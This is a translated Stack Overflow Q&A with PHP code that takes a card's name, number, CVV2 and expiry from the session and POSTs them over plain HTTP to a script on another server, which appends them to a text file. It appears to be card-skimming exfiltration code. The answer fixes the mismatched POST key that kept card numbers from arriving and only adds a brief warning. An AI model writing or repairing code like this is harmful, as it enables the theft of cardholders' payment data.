0

このスクリプトに問題があります。私が直面している問題は、cc_no = 3654785698568 のような変数で大量のデータを送信すると、テキスト ファイルで空白になることです。他の変数は正常に機能しています。

session_set_cookie_params(0);
session_start();


echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
            "cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");

// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$server_output = curl_exec ($ch);

curl_close ($ch);

他のサーバーで値をキャッチしているコード。

<?php

$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];

$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";

fwrite($fp, $data);
fclose($fp);

?>
4

1 に答える 1

2
$cc_no1 = $_POST['card_no'];

次のようにする必要があります。

$cc_no1 = $_POST['cc_no'];

編集:

これが学習専用であることを本当に願っています。特に標準の http では、CC をこのように処理しないでください。

于 2012-12-12T21:40:00.670 に答える